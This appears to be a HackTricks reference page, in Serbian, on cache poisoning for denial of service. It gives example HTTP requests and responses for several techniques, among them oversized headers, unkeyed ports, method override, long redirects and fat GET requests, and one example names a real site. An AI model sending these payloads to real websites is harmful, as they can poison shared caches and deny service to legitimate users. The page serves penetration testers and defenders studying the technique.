Cache Poisoning to DoS

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

caution

Na ovoj stranici možete pronaći različite varijacije kako pokušati da web server odgovori greškama na zahteve koji su validni za servere keširanja

  • HTTP Header Oversize (HHO)

Pošaljite zahtev sa veličinom zaglavlja većom od one koju podržava web server, ali manjom od one koju podržava server keširanja. Web server će odgovoriti sa 400 odgovorom koji može biti keširan:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP Meta Character (HMC) & Neočekivane vrednosti

Pošaljite header koji sadrži neke štetne meta karaktere kao što su i . Da bi napad uspeo, prvo morate da zaobiđete keš.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

Loše konfigurisana zaglavlja mogu biti samo \: kao zaglavlje.

Ovo takođe može raditi ako se pošalju neočekivane vrednosti, kao što je neočekivani Content-Type:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Unkeyed header

Neki vebsajti će vratiti kod greške ako vide neke specifične zaglavlja u zahtevu kao što je sa X-Amz-Website-Location-Redirect: someThing zaglavljem:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTP Method Override Attack (HMO)

Ako server podržava promenu HTTP metode pomoću zaglavlja kao što su X-HTTP-Method-Override, X-HTTP-Method ili X-Method-Override. Moguće je zatražiti važeću stranicu menjajući metodu tako da server ne podržava, tako da se loš odgovor kešira:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Unkeyed Port

Ako je port u Host header-u odražen u odgovoru i nije uključen u cache ključ, moguće je preusmeriti ga na neiskorišćen port:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Long Redirect DoS

Kao u sledećem primeru, x se ne kešira, tako da napadač može da iskoristi ponašanje odgovora na preusmeravanje da napravi preusmeravanje koje šalje URL toliko veliki da vraća grešku. Tada će ljudi koji pokušavaju da pristupe URL-u bez nekovanog x ključa dobiti odgovor sa greškom:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Normalizacija velikih i malih slova u host header-u

Host header bi trebao biti neosetljiv na velika i mala slova, ali neka web stranice očekuju da bude u malim slovima, vraćajući grešku ako nije:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Normalizacija putanje

Neke stranice će vraćati kodove greške šaljući podatke URLencode u putanji, međutim, cache server će URLdecode-ovati putanju i sačuvati odgovor za URLdecoded putanju:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

Neki cache serveri, kao što su Cloudflare, ili web serveri, zaustavljaju GET zahteve sa telom, tako da se ovo može iskoristiti za keširanje nevažećeg odgovora:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks